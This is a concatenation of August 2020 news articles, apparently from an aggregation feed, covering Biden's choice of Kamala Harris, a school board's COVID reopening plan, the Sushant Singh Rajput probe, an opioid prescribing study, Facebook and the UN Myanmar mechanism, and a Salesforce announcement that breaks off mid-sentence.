Del. The 2020 spotlight is about to shift, at least temporarily, away from President Donald Trump and onto Biden. (AP Photo/Andrew Harnik, File) WILMINGTON, Del. - Joe Biden named California Sen. Kamala Harris as his running mate, making history by selecting the first Black woman to compete on a major partys presidential ticket and acknowledging the vital role Black voters will play in his bid to defeat President Donald Trump. In choosing Harris, Biden embraced a former rival from the Democratic primary who is familiar with the unique rigour of a national campaign. The 55-year-old first-term senator, who is also of South Asian descent, is one of the partys most prominent figures. She quickly became a top contender for the No. 2 spot after her own White House campaign ended. She will appear with Biden for the first time as his running mate at an event Wednesday near his home in Wilmington, Delaware. In announcing the pick Tuesday, Biden called Harris a "fearless fighter for the little guy, and one of the country's finest public servants." She said Biden would "unify the American people" and "build an America that lives up to our ideals." Harris joins Biden at a moment of unprecedented national crisis. The coronavirus pandemic has claimed the lives of more than 160,000 people in the U.S., far more than the toll experienced in other countries. Business closures and disruptions resulting from the pandemic have caused severe economic problems. Unrest, meanwhile, has emerged across the country as Americans protest racism and police brutality. Trumps uneven handling of the crises has given Biden an opening, and he enters the fall campaign in strong position against the president. In adding Harris to the ticket, he can point to her relatively centrist record on issues such as health care and her background in law enforcement in the nations largest state. The president told reporters Tuesday he was "a little surprised" that Biden picked Harris, pointing to their debate stage disputes during the primary. Trump, who had donated to her previous campaigns, argued she was "about the most liberal person in the U.S. Senate." BRYNN ANDERSON / THE ASSOCIATED PRESS FILES FILE - In this June 27, 2019, file photo, then-Democratic presidential candidate Sen. Kamala Harris, D-Calif., listens to questions after the Democratic primary debate hosted by NBC News at the Adrienne Arsht Center for the Performing Art in Miami. (AP Photo/Brynn Anderson, File) "I would have thought that Biden would have tried to stay away from that a little bit," he said. Harriss record as California attorney general and district attorney in San Francisco was heavily scrutinized during the Democratic primary and turned away some liberals and younger Black voters who saw her as out of step on issues of racism in the legal system and police brutality. She declared herself a "progressive prosecutor" who backs law enforcement reforms. Biden, who spent eight years as President Barack Obamas vice-president, has spent months weighing who would fill that same role in his White House. He pledged in March to select a woman as his vice-president, easing frustration among Democrats that the presidential race would centre on two white men in their 70s. Bidens search was expansive, including Massachusetts Sen. Elizabeth Warren, a leading progressive; Florida Rep. Val Demings, whose impeachment criticism of Trump won party plaudits; California Rep. Karen Bass, who leads the Congressional Black Caucus; former Obama national security adviser Susan Rice; and Atlanta Mayor Keisha Lance Bottoms, whose passionate response to unrest in her city garnered national attention. A woman has never served as president or vice-president in the United States. Hillary Clinton was the Democratic presidential nominee in 2016. Two women have been nominated as running mates on major party tickets: Democrat Geraldine Ferraro in 1984 and Republican Sarah Palin in 2008. Their parties lost in the general election. The vice-presidential pick carries increased significance this year. If elected, Biden would be 78 when inaugurated in January, the oldest man to ever assume the presidency. Hes spoken of himself as a transitional figure and hasnt fully committed to seeking a second term in 2024. Harris, born in 1964 to a Jamaican father and Indian mother, spent much of her formative years in Berkeley, California. She has often spoken of the deep bond she shared with her mother, whom she has called her single biggest influence. Harris won her first election in 2003 when she became San Franciscos district attorney. In that post, she created a reentry program for low-level drug offenders and cracked down on student truancy. FILE - In this Oct. 2, 2019, file photo, then -Democratic presidential candidate Sen. Kamala Harris, D-Calif., listens during a gun safety forum in Las Vegas. Democratic presidential candidate former Vice President Joe Biden has chosen Harris as his running mate. (AP Photo/John Locher, File) She was elected Californias attorney general in 2010, the first woman and Black person to hold the job, and focused on issues including the foreclosure crisis. She declined to defend the states Proposition 8, which banned same-sex marriage and was later overturned by the U.S. Supreme Court. After being elected to the Senate in 2016, she quickly gained attention for her assertive questioning of Trump administration officials during congressional hearings. Harris launched her presidential campaign in early 2019 with the slogan "Kamala Harris For the People," a reference to her courtroom work. She was one of the highest-profile contenders in a crowded Democratic primary and attracted 20,000 people to her first campaign rally in Oakland. But the early promise of her campaign eventually faded. Her law enforcement background prompted skepticism from some progressives, and she struggled to land on a consistent message that resonated with voters. Facing fundraising problems, she abruptly withdrew from the race in December 2019, two months before the first votes of the primary were cast. One standout moment of her presidential campaign came at the expense of Biden. During a debate, she said Biden made "very hurtful" comments about his past work with segregationist senators and slammed his opposition to busing as schools began to integrate in the 1970s. "There was a little girl in California who was a part of the second class to integrate her public schools, and she was bused to school every day," she said. "And that little girl was me." Shaken by the attack, Biden called her comments "a mischaracterization of my position." The exchange resurfaced recently with a report that one of Bidens closest friends and a co-chair of his vice-presidential vetting committee, former Connecticut Sen. Chris Dodd, still harbours concerns about the debate and that Harris hadnt expressed regret. The comments attributed to Dodd and first reported by Politico drew condemnation, especially from influential Democratic women who said Harris was being held to a standard that wouldnt apply to a man running for president. Some Biden confidants said Harris debate attack did irritate the former vice-president, who had a friendly relationship with her. Harris was also close with Bidens late son, Beau, who served as Delaware attorney general while she held the same post in California. But Biden and Harris have since returned to a warm relationship. "Joe has empathy, he has a proven track record of leadership and more than ever before we need a president of the United States who understands who the people are, sees them where they are, and has a genuine desire to help and knows how to fight to get us where we need to be," Harris said at an event for Biden earlier this summer. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. At the same event, she bluntly assailed Trump, labeling him a "drug pusher" for his promotion of the unproven and much-questioned malaria drug hydroxychloroquine as a treatment for the coronavirus. After Trump tweeted "when the looting starts, the shooting starts" in response to protests about the death of George Floyd, a Black man in police custody, Harris said his remarks "yet again show what racism looks like." Harris has taken a tougher stand on policing since Floyds killing. She co-sponsored legislation in June that would ban police from using chokeholds and no-knock warrants, set a national use-of-force standard and create a national police misconduct registry, among other things. It would also reform the qualified immunity system that shields officers from liability. The list in the legislation included practices Harris did not vocally fight to reform while leading Californias Department of Justice. And while she now wants independent investigations of police shootings, she didnt support a 2015 California bill that would have required her office to take on such cases. "We made progress, but clearly we are not at the place yet as a country where we need to be and California is no exception," she told The Associated Press recently. The national focus on racial injustice now, she said, shows "theres no reason that we have to continue to wait." ___ Ronayne reported from Sacramento, California. Associated Press writers Alexandra Jaffe, Jill Colvin and Julie Pace contributed from Washington. BRECKSVILLE, Ohio -- The Brecksville-Broadview Heights school board has changed the districts reopening plan -- just four days after deciding not to do so -- and will commit more strongly to a combination of in-person and remote learning to start the school year. In doing so, the board eliminated in-person learning five days a week as a possibility in the reopening plan. At a special Friday afternoon (Aug. 7) meeting, the board unanimously decided to have pupils attend in-person classes two days a week and learn remotely the other three days when Cuyahoga County is at the first, second and third -- or yellow, orange and red -- COVID-19 alert levels. At the fourth (purple) level, pupils will study remotely at home five days a week. Under the previous plan -- which the board chose not to amend at its Aug. 3 meeting but which is now obsolete -- pupils would have reported to their school buildings five days a week when the county was at the yellow and orange risk levels. The in-person/remote combination would have kicked in at the red level. Under the amended plan, as under the previous one, the district will close its buildings immediately after the Thanksgiving break and wont reopen until Jan. 4. Pupils will learn remotely five days a week during that time, except during winter break. The Brecksville-Broadview Heights Education Association, which represents district teachers, is urging parents to contact board members and oppose the reopening plan. The union wants parents to support all-remote learning to start the school year, as recommended by the Cuyahoga County Board of Health. The (union) strongly believes that all children have a right to a safe learning environment, teachers said in an open letter to parents and shared with cleveland.com Friday. Unfortunately, with our current levels of community spread (of COVID-19), and with the current state of the boards reopening plan, it is our opinion that it is not safe for your child to return to our classrooms. We have raised these concerns with the board, the teachers union said. Unfortunately, your school board is not listening. In a prepared, written response credited to the school board sent to parents Monday (Aug. 10), the board said the district has taken several deliberate steps to ensure the safest environment to reopen schools for both students and staff. The district has used the guidance provided by our governor (Mike DeWine) and the Ohio Department of Health to reopen schools and have followed the recommendations of the (Centers for Disease Control and Prevention) when modifying our school buildings to align with those safety precautions, the board said. The final decision to reopen our buildings was not made lightly, but in a deliberate, thoughtful and strategic manner, the board said. That stated, there are still preparations to be made before Sept. 8 (the first day of school). No bouncing At the Friday (Aug. 7) meeting, board member Mark Dosen said it would be too difficult for teachers to prepare for three possible learning models -- in-person only, remote only and a hybrid of the two. Further, Dosen said, the district, under the original reopening plan, could potentially bounce back and forth among the three models, depending on whether the COVID-19 alert level changes in Cuyahoga County. The county has been at the third or red level since DeWine unveiled the color-coded alert system in late June. Dosen suggested that the district commit to the hybrid model for the first 10 weeks of the school year before switching to all-remote after Thanksgiving break as originally planned. He said it would provide consistency for parents and staff and allow for better planning. The other four board members agreed and the meeting ended quickly. At the Aug. 3 meeting, the school board discussed whether to change the reopening plan to remote learning only, due to the county health boards recommendation to do so. In an informal vote, the school board voted 4-1 against all-remote. Before and during the Aug. 3 meeting, more than 100 parents and pupils demonstrated against changing the districts reopening plan to remote learning only. Also on Aug. 3, the board considered eliminating hybrid learning from the districts reopening plan, but decided 3-2 against that change. Life-threatening event In its open letter to parents, the teachers union said that face-to-face education is essential and that teachers desperately want children back in the classroom. However, the decision on whether to return to school buildings must be based on science and medical guidelines. Teachers said much isnt known about how COVID-19 affects childrens health and neurological development. What is known is that, according to epidemiological evidence, community spread of the virus must drop to safer levels before pupils return to school, they said. So long as Cuyahoga County remains under a red alert status for COVID-19, the prevalence of the virus in our community could turn face-to-face instruction into a life-threatening event for our community, teachers said. The union said that neighboring districts, including North Royalton and Strongsville, understood that its not safe to reopen school buildings and chose to follow the health boards recommendation to start the school year with remote lessons only. In its letter, the teachers union said scientific studies have indicated that proper indoor ventilation is vital in stopping the spread of COVID-19. The union said ventilation systems in the districts elementary school buildings are dangerously inadequate. Most of these rooms are neither air-conditioned nor equipped with modern air-filtration systems, the union said. In the summer and fall, the heat is often stifling, and the air quality is stagnant. In our opinion, these classrooms could become ground zero for a super-spreader event. The union said it raised this issue with the school board and was told the plan was to open the windows. Ask yourself, as a parent, does that sound like a plan to you? the union said. Is open the windows really the best we can do for a classroom of children clustered 3 feet apart in stagnant 90-degree air? This is but one example of the concerns that we have regarding (the districts) plan to reopen schools against the board of health recommendations, the union said. Windows & fans In its Monday (Aug. 10) response, the board said building ventilation systems have been thoroughly inspected and its been determined that they are functioning properly. According to CDC guidance, outside air will be circulated into the buildings by keeping windows open when possible and having fans assist with the circulation, the school board said. The district will change air filters four times a year instead of twice a year, and is encouraging teachers to hold classes outside when possible, the board said. The board listed other measures the district has taken to prepare for a safe return to school buildings. The district has: Pushed back the first day of school from Aug. 24 to Sept. 8. This will create time for staff to prepare for hybrid instruction. Modified the school calendar so that all pupils will study remotely every Wednesday. On that day, maintenance crews will deep-clean school buildings. Required all pupils and staff to wear face coverings. Purchased face masks and face shields for staff. The district also bought medical gowns for staffers who want to wear them. Equipped each classroom with gloves, masks, hand sanitizers and other disinfectants. Installed transparent plastic barriers in areas where its impossible to practice social distancing. Initiated an open-campus policy so that high school pupils can leave school when they dont have classes. Also, high school and middle school pupils can arrive late and stay only for their classes. Moved lunch to classrooms in the elementary schools to minimize movement throughout the buildings. Prohibited visitors. Altered maintenance protocols so that doorknobs and bathrooms are disinfected during the school day, not just at night. Arranged for daily temperature checks of all pupils before they exit their school buses or cars in the morning. Established two clinics in each building, one for children needing routine medication, another for children not feeling well. The district plans to follow all guidance from our health officials should we receive knowledge of a positive case within our schools, the board said. As a reminder, the decisions to shut down or quarantine are made by the health department, not the school district. Read more from the Sun Star Courier. Students at Christian schools cant be banned from Vt. dual enrollment program: appeals court Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Students who attend private faith-based schools in Vermont are now allowed to take dual enrollment college classes, a court has ruled after the state banned students at non-secular schools from taking advantage of the program. In an order released last week, the U.S. Court of Appeals for the Second Circuit granted the plaintiffs an emergency injunction, allowing students at faith-based private schools to enroll in college courses, just as students at secular public and private schools are allowed to do. Last year, a group of plaintiffs, including students at faith-based schools and their parents, filed a lawsuit against Vermont which had banned them from accessing the dual enrollment fund. The brief argued that the plaintiffs, which included the Roman Catholic Diocese of Burlington, have a strong likelihood of success on the merits of their claims. Alliance Defending Freedom, a conservative law firm that specializes in religious liberty cases and represented the diocese and students, celebrated the order. No state can discriminate against students based on which kind of school they attend, stated ADF Senior Counsel and Vice President of Appellate Advocacy John Bursch. It makes no sense for the state to say it will pay for a student from a public or secular private school to take a college course at a public university, for example, but then say that a student from a faith-based private school cannot receive the same funding to attend that exact public university class. To justify the emergency order, the appeals court cited the U.S. Supreme Court decision Espinoza v. Montana Department of Revenue, which was released in late June. In a 5-4 decision, the high court concluded in Espinoza that Montana parents should be allowed to use a public scholarship program to send their children to religious private schools. Montanas no-aid provision bars religious schools from public benefits solely because of the religious character of the schools. The provision also bars parents who wish to send their children to a religious school from those same benefits, again solely because of the religious character of the school, wrote Chief Justice John Roberts for the majority. A State need not subsidize private education. But once a State decides to do so, it cannot disqualify some private schools solely because they are religious. Justice Sonia Sotomayor authored one of the dissenting opinions in the case, arguing that a State may refuse to extend certain aid programs to religious entities when doing so avoids historic and substantial antiestablishment concerns. Montana may properly decline to subsidize religious education. Involvement in such spiritual matters implicates both the Establishment Clause and the free exercise rights of taxpayers, concluded Sotomayor. Months after her presidential campaign collapsed amid questions over her political identity, Kamala Harris suddenly and forcefully found her voice - and at a fortuitous time. Harris, a 55-year-old U.S. senator from California, was chosen by Democratic presidential candidate Joe Biden as his running mate on Tuesday, making history as the first Black woman and Asian-American on a major presidential ticket. Her selection came as little surprise. With the United States in the midst of a reckoning over its history of racial injustice, Biden had increasingly been pressed to select a woman of color. Harris, who became the Senate's second Black woman in its history when she was elected in 2016, was always at the top of the list. Black Lives Matter support: Kamala Harris dropped out of the Democratic presidential race in December but refashioned herself since the explosion of anger at the death of George Floyd Moment of horror: Kamala Harris demonstrated in Washington D.C. and spoke out vocally in the wake of the death of George Floyd at the hands of police in Minneapolis Crucial endorsement: Ben Crump, the attorney for George Floyd's family, wrote an op-ed article throwing his weight behind Kamala Harris as Joe Biden's VP But Harris did anything but keep a low profile while Biden was making up his mind. Instead, she emerged as a fierce advocate for police reform and social justice - in the Senate, in the streets, and on the airwaves, sparring with Republicans on the Senate floor and offering fiery critiques of Republican President Donald Trump. 'She has been very resolute,' said Marc Morial, president of the National Urban League, the longstanding civil rights and social justice advocacy group, which has worked with Harris on reform issues. 'She has the ability to go toe-to-toe with anybody.' For Harris, the barrier-breaking former prosecutor and California state attorney general, the moment provided a clarity of purpose that was often absent from her failed presidential bid. After a strong start, Harris' campaign quickly foundered amid strategic somersaults. First positioning herself as a progressive in the mold of reformers such as Senators Elizabeth Warren and Bernie Sanders, Harris then tried to tack toward the center. Her position on healthcare, for example, became a mishmash. She dropped out in December, before a single vote was cast in the Democratic nominating contests. 'She was trying to play the middle a little bit and trying to be all things to all people,' said Joel Payne, a Democratic strategist who worked for Hillary Clinton's 2016 presidential campaign. Now, Payne said, 'There is a little more of a defined voice. There's more clarity to her public persona.' Her background in law enforcement had been seen as a vulnerability early in the race for the party's nomination. But her work of late has impressed some past doubters who say she did not do enough to investigate police shootings and too often sided with prosecutors in wrongful conviction cases in the past. In the days after George Floyd died at the hands of police in Minneapolis in May, sparking a national conversation on race, Harris joined protesters in the streets of Washington. On Capitol Hill, she, along with Senator Cory Booker, an African American who made his own bid for the presidency, became the drivers of the Democratic effort to battle police abuses and led the pushback against an alternative Republican police reform measure, which she blasted as 'lip service.' Her efforts received important recognition in early August when Ben Crump, the attorney for Floyd's family, published an opinion article supporting her candidacy. 'The case for me is simple: She's been a change agent at every level of government - local, state, and federal - for 30 years,' Crump wrote as the search for Biden's running mate entered a final stage. Lara Bazelon, a professor at the University of San Francisco School of Law who last year assailed Harris' record as a prosecutor and attorney general, said Harris has made an 'important shift' on criminal justice. She now hopes Harris will become a leading adviser to Biden on the issue. 'She got a good, hard shove to the left. I really hope she seizes that moment and resists the urge to drift toward safety and the center,' Bazelon said. While advocating for social justice publicly, Harris was also working to shore up her relationship with Biden. The two had long been friendly because of Harris' friendship with Biden's late son, Beau Biden, who served as Delaware's attorney general and worked with Harris when she held the same position for her state. 'Back when Kamala was Attorney General, she worked closely with Beau. I watched as they took on the big banks, lifted up working people, and protected women and kids from abuse,' the elder Biden wrote on Twitter on Tuesday. 'I was proud then, and I'm proud now to have her as my partner in this campaign.' But Harris' relationship with Joe Biden was sorely tested last year when in a Democratic debate she battered Biden over his long-ago stance on mandatory busing for public school students. Biden's wife, Jill, later said she viewed the attack as a 'punch in the gut,' while some Biden aides saw it as opportunistic. Since she endorsed him in March, Harris has become a fierce advocate of his candidacy and an effective fundraiser on his behalf. Biden told reporters in August he had put the debate fracas behind him. 'I don't hold grudges,' he said. Even so, Harris had to survive a last-minute lobbying campaign against her selection, one that included close Biden allies, over concerns she was too politically ambitious and would not put Biden's interests ahead of hers. That push, in turn, sparked a backlash among Harris' supporters who called the arguments sexist. Harris has used the time since her campaign exit well, Payne said. 'She realized that one of her vulnerabilities was her background as a prosecutor,' he said. 'She did some repair work. She did some fence-mending to get ready for the moment.' Mumbai, Aug 11 : Late Bollywood actor Sushant Singh Rajput's father K.K. Singh had tried to contact his son's live-in partner Rhea Chakraborty to know the details of his son's ongoing medical treatment at that time, WhatsApp messages shared with the media showed. The actress, who is now the prime accused in the death case of Sushant, did not respond to any of the messages. Besides Rhea, Sushant's father also tried to connect with his son's former manager Shruti Modi and even she did not revert back to him. Modi is a co-accused in the case filed by Singh at a Patna police station on July 25. She was also both Sushant and Rhea's manager. The ED and the CBI are probing the death of the late actor, who was found hanging in his Bandra flat in Mumbai on June 14 on the complaint of Singh filed at the Rajeev Nagar police station. Sushant and his family hail from Purnea district in Bihar. Both the agencies have taken over the probe on the basis of the Bihar Police FIR. Singh in his message to Rhea at 12.34 p.m. on November 29 last year asked her to share the details of his son's treatment. Image Source: IANS News In the message to Rhea, Singh said, "Jab tum jan gaee ki hum Sushant ka papa hun to baat kyu nahi ki. Aakhir baat kya hai. Friend bankar uska dekhbhal aur uska elaj karba rahi ho to mera bhi farj banta hai ki Sushant ke bare me jankari mujhe bhi rahe. Esliye call kar mujhe bhi sari jankari do (When you have come to know that its Sushant's father then why don't you speak to me. What is the reason. If you are getting Sushant treated being a friend then it is also my responsibility to know the details. Therefore call me and share all the information)." The revelations come in the backdrop of regular questioning of Rhea and her family members besides Modi, and other associated with Sushant by the ED. The CBI on Monday visited the Faridabad home of the late actor's brother-in-law, O.P. singh, who is a top police officer in Haryana. They recorded the statement of Sushant's father and sister in connection with the case. According to Central Bureau of Investigation (CBI) sources, the family members have claimed that Sushant's death was not suicide but a murder. However, the CBi officials remained tight lipped on the development. The father had also tried to contact Modi, on the same day he whatsapped Rhea, November 29, asking her to book a flight ticket for Singh so that he could come to Mumbai. Image Source: IANS News Singh wrote to Shruti Modi, 18 minutes before messaging Rhea. In the message, he said: "Mai janta hu ki Sushant ke sare karj aur use bhi tum hi dekhti ho. Wah abhi kis stithi me hai, iske liye bat karna chah rahe the. Kal Sushant se baat hui thi to usne kaha tha ki main bahut pareshan hu. "Ab tum socho ki ek pita ko kitni chinta hogi uske liye. Esliye tumse bat karna chah raha tha. Ab tum bat nahi kar rahi ho to mai Mumbai jana chahta hu. Flight ka ticket bhej do. (which roughly translates into 'I know you handle the expenses and other things of Sushant, and it was the reason why I wanted to speak to you. Wanted to know in which condition he is in. Yesterday I spoke to Sushant and he said that he was troubled. Now you can imagine being a father, how worried I must be for my son. It was the reason why I wanted to speak to you. And now when you are not speaking then I want to come to Mumbai. Send the flight ticket)." The ED has recorded the statement of Rhea, her brother Showik and father Indrajit on Monday. Till date the ED has questioned Rhea twice, her brother's Showik statement thrice and her father Indrajit once. For the first time on Tuesday, the ED has called Sushant's sister Mitu Singh to record her statement with the agency. A top ED official said that Mitu Singh will be recording her statement later in the day. The ED has also recorded the statement of Rhea's Chartered Accountant (CA) Ritesh Shah, Sushant's CA Sandeep Sridhar, his house manager Samuel Miranda, his flatmate Siddharth Pithani. Shruti Modi on Tuesday morning again joined the ED probe. She has been questioned by ED twice earlier. The ED had on July 31 registered a case on the basis of a Bihar Police FIR on his father's complaint that Rs 15 crore was withdrawn or transferred from his son's Kotak Mahindra Bank account. The ED had registered a case under the Prevention of Money Laundering Act (PMLA) against Rhea and her family members. Sushant's father has accused Rhea of taking money from his son and also threatening to disclose his medical reports to the media. The late actor's family has also accused her of keeping him away from them. The case was transferred to the CBI from the state police on August 6. On Monday, Rhea had moved a fresh plea in the Supreme Court, complaining that the media was unfairly holding a trial and pronouncing her guilty. She also urged the top court to ensure that she is not made a scapegoat of political agenda in the wake of the Bihar elections scheduled later this year. The plea also said that she had no objection if the court referred the matter to the CBI. The apex ourt will be hearing the matter again on Tuesday. (Anand Singh can be contacted at anand.s@ians.in) Latest updates on Sushant Singh Rajput Death Mystery -- Syndicated from IANS Indicating inaction by Haryana excise and taxation officials in investigation of cases involving large seizures of illegal liquor, the special enquiry team (SET), constituted to inquire into the instances of liquor pilferage from warehouses, in its report said that despite having powers to investigate, the department did not do so. During an interactive session with SET, the excise and taxation commissioner (ETC), Shekhar Vidyarthi, on June 27 said that deputy excise and taxation commissioners (excise) posted in districts were vested with the powers of collector to investigate cases of seizure of illegal liquor and were fully responsible for investigation as per the requirement of the case. In cases of big seizures, the details are also sent to the collector at the head office. Normally, the collector follows up the large detections though excise and taxation commissioner is also apprised. However, the ETC admitted no such investigation of illegal liquor confiscated in the field is being done by the excise department, said the inquiry report submitted to home minister Anil Vij. Quoting an instance, the SET report said one such huge detection was reported by Sonepat DETC (excise) in February 2019 whose details were also sent to the ETC office. Since no action was taken by the ETC office, the Sonepat DETC simply kept on issuing notices in that case and did not finalise the proceedings until May 2020 when that case came into limelight after the Kharkhauda-Matindoo godown fiasco wherein FIR was registered by police on May 5, the report said. Excise department failed to recover big penalty amount The SET report has also blamed the excise and taxation department for its failure to ensure that penalties for excise offences were levied on time and recovered from the offenders. As per provisions of Haryana Imposition and Recovery of Penalty Rules, 2003, the collector releases the offender on furnishing of sureties or securities to his satisfaction. Hence, it is indefensible as to why penalties have not been recovered in many cases, the report said. The report mentioned that out of 8,337 cases of illegal liquor seizure between April 1, 2019, and March 31, 2020, 8,171 cases have been decided. Out of penalty of about 8.58 crore imposed, the department has recovered only 7.21 crore, leaving a balance of 1.37 crore, the report said. The then collector, Yogesh Kumar, tried to defend this inaction by stating that penalty has been recovered in 97% of cases. However, he has cleverly not given the amount of penalty which is required to be recovered because remaining 3% cases amount to 16% of the total amount of penalty imposed, the report said. As per the report, in cases involving huge penalty amounts like the one pertaining to Kharkhauda-Matindoo godown case, penalties have not been recovered. SHARE THIS ARTICLE ON Hospital patients discharged to skilled nursing facilities often bring a high-dose painkiller prescription with them, suggesting more attention should be paid to opioid safety for those patients, research from the Oregon State University College of Pharmacy shows. The findings are important because they shed light on an understudied aspect of the opioid-fueled public health crisis that has gripped the United States for more than two decades. Also, 61% of the patients in the study who received an opioid prescription upon hospital discharge were older than 65 - an age demographic that carries a high risk of opioid-associated harm. "Increased efforts are likely needed to optimize opioid prescribing among patients transitioning from hospitals to skilled nursing facilities," said corresponding author Jon Furuno, an associate professor and the interim chair of the Department of Pharmacy Practice. The study was published in Pharmacoepidemiology and Drug Safety. Traced to over-prescribing that began in the 1990s, the opioid epidemic claims more than 40,000 American lives per year, according to the U.S. Department of Health and Human Services. Ten million people a year misuse prescription opioids, and 2 million suffer from an opioid use disorder. An estimated 130 people die each day in this country due to an opioid overdose. And prescription opioid misuse in the United States also does economic damage of more than $78 billion per year." Jon Furuno, Study Corresponding Author and Assosciate Professor, Department of Pharmacy Practice, Oregon State University Over a one-year period, Furuno and collaborators at Oregon State, Oregon Health & Science University and the University of Massachusetts Medical School looked at 4,374 hospital patients who were discharged to a skilled nursing facility - a facility for people to receive short-term, rehabilitative care or long-term residential care. Seventy percent of the patients received an opioid prescription upon hospital discharge, and 68% of those prescriptions were for oxycodone - 1.5 times as potent as morphine. Moreover, greater than half of the prescriptions had a daily morphine milligram equivalent of 90 or higher - a threshold the Centers for Disease Control and Prevention says prescribers should "avoid" or "carefully justify." "Being a surgical patient, being female, having a diagnosis of cancer or chronic pain, and receiving an opioid on the first day of hospital admission were all independently associated with the likelihood of receiving an opioid prescription upon discharge to a skilled nursing facility," Furuno said. "For patients or residents in those facilities, opioid risks are often compounded by the fact many of them are taking multiple drugs for multiple conditions." Also, some of those patients are frail and suffer from a cognitive impairment that can make safe opioid prescribing more challenging. "And notably, skilled nursing facility residents are also often undertreated for pain," Furuno said. "These results support the complexity and need to optimize opioid prescribing in this patient population." Future research, he added, should look at the frequency of inappropriate opioid prescribing among patients leaving hospitals for skilled nursing facilities; prescribing practices within hospitals; and outcomes as patients go home from skilled nursing facilities. "Complicating matters is the growing number of joint replacement and other surgical patients who receive opioid prescriptions, may stay in a skilled nursing facility for just a short time and then are discharged back into their communities," Furuno said. "Prescribers and pharmacists need to work together to ensure patients' pain is managed safely, and knowing which patients are most at risk can inform the best use of resources like medication counseling and other interventions." The head of a U.N. investigative body on Myanmar said Facebook has not released evidence of aserious international crimesa, despite vowing to work with investigators looking into abuses in the country including against the Rohingya Muslim minority. Nicholas Koumjian, head of the Independent Investigative Mechanism on Myanmar (IIMM), told Reuters the social media giant was holding material ahighly relevant and probative of serious international crimesa but had not shared any during year-long talks. He declined to give details of the material the IIMM had asked for. Facebook did not immediately respond to a request for comment. Myanmar is facing charges of genocide at the International Court of Justice (ICJ) over a 2017 military crackdown on the Rohingya that forced more than 730,000 people to flee into neighbouring Bangladesh. Myanmar denies genocide and says its armed forces were conducting legitimate operations against militants who attacked police posts. U.N investigators said Facebook had played a key role in spreading hate speech that fuelled the violence. The company says it is working to stop hate speech and has deleted accounts linked to the military including senior army officials but preserved data. The U.N. Human Rights Council set up the IIMM in 2018 to collect evidence of international crimes in Myanmar to be used in future prosecutions. aUnfortunately, to date, the Mechanism has not received any material from Facebook but our discussions continue and I am hopeful that the Mechanism will eventually receive this important evidence,a Koumjian said on Monday. His comments followed a move by Facebook last week to block a bid by Gambia, which brought the genocide case against Myanmar at the ICJ in the Hague, to obtain posts and communications by members of Myanmaras military and police. The social media giant urged the U.S. District Court for the District of Columbia to reject the demand, which it said would violate a U.S. law that bars electronic communication services from disclosing usersa communications. In a statement last week the company said it could not comply with Gambias request but was working with the IIMM. Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor By Akbar Mammadov Serbia and Azerbaijan have expressed support for each others territorial integrity, Serbian Deputy Prime Minister Nebojsa Stefanovic who is in official visit in Baku told reporters on August 11. Stefanovic said that during the meeting, Serbia and Azerbaijan have discussed security cooperation and reached an agreement in expanding cooperation in the exchange of sensitive information, counter-terrorism and other significant fields. At the same time, we held discussions in the field of economic cooperation, and we believe that cooperation in this area can be further deepened, Stefanovic added. Stefanovic emphasized that Serbia and Azerbaijan are strategic partners and have strong friendly relations. The presser followed the meeting held between the Serbian delegation and senior Azerbaijani officials - Secretary of the Security Council under the President of Azerbaijan Ramil Usubov, Presidential Aide and Head of the Foreign Policy Department of the Presidential Administration Hikmet Hajiyev, Deputy Foreign Minister Araz Azimov and Azerbaijani Ambassador to Serbia Eldar Hasanov. I believe that through these visits and meetings we will achieve a higher level of cooperation, Stefanovic said, adding that his visit Baku aims to further develop the relations between the two countries. Our goal is to strengthen cooperation not only in the field of security, but also in other areas, Stefanovic told the media. Stefanovic who is also Secretary of the National Security Council and Interior Minister of Serbia, stressed that true friendship between the presidents, governments and peoples of the two countries can also be reflected in the economic sphere. We are very pleased with the activities of Azerbaijani companies operating in Serbia, they are very effective. We believe that this cooperation can be further expanded and has great potential for this. This cooperation can be beneficial for both parties. I believe that this cooperation will bring the two countries closer in the future." The Serbian deputy prime minsiter noted that during the meeting, the sides stressed the importance of resolving all conflicts peacefully on the basis of UN principles. "I think this is important for the future of the countries facing the conflict and is in the interests of both countries," he added. The Serbian delegations visit to Baku follows the phone conversation held between President Ilham Aliyev and Serbian President Alexandar Vucic on August 7. During the phone call, Vucic said that a high-level Serbian delegation would be sent to Azerbaijan in the near future to investigate Armenias use of Serbian-made weapons during the recent cross-border clash with Azerbaijan. President Ilham Aliyev noted that Armenias use of Serbian-made ammunition in shelling Azerbaijani military and civilian positions that killed servicemen and a civilian, has caused concern among the Azerbaijani public. It should be noted on July 20, Azerbaijan's Foreign Ministry summoned Serbia's Charge d'Affaires Danica Veinovic over the delivery of a large amount of military ammunition and mortar from Serbia to Armenia. The cross-border clashes between Azerbaijan and Armenia started on July 12 noon after Armenian troops fired artillery at Azerbaijani military post in Tovuz region. Azerbaijani armed forces retaliated destroying a stronghold, bombshells, vehicles and servicemen on the territory of the Armenias military unit by using artillery, mortars and tanks. Azerbaijan has also downed six Armenian UAVs. Azerbaijan lost 12 servicemen, including an army general, during cross-border clashes from July 12 till July 16. Armenian forces have also been shelling civilians in villages in Tovuz. An Azerbaijani civilian in Tovuzs Aghdam village was killed as a result of artillery shelling by the Armenian armed forces on July 14. --- Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97 Follow us on Twitter @AzerNewsAz SAN FRANCISCO, Aug. 11, 2020 /PRNewswire/ -- Salesforce [NYSE: CRM], the global leader in CRM, today announced Work.com for Schools to help schools make data-driven decisions on when and how to return to campus safely, facilitate communication between teachers and families at scale, and support students remotely. The company is also granting $20 million to support five major public school districts across the U.S.empowering them to provide equitable, safe and connected learning from anywhere. As the new school year begins amid the continuing pandemic, administrators must try to balance education and safety as they navigate disparate reopening guidelines, data and community pressures. They've had to build new remote learning models while reimagining physical classrooms, placing incredible strain on already limited resources. For children, the pandemic has caused an education crisis, which is disproportionately impacting low-income and minority families, as well as those living with disabilities. "Schools are the backbone of our communitiesthe heart and soul of our neighborhoods. We need to ensure that every student has access to the best education regardless of circumstance," said Ebony Beckwith, Chief Philanthropy Officer, Salesforce. "As we reimagine education for a learn-anywhere world, we are committed to helping our schools reopen safely, teach from anywhere and create a more equitable future for every student." Helping Schools Create a Trusted and Safe Campus Experience Earlier this year, Salesforce released Work.com , new technology to help businesses and governments around the world reopen safely and build 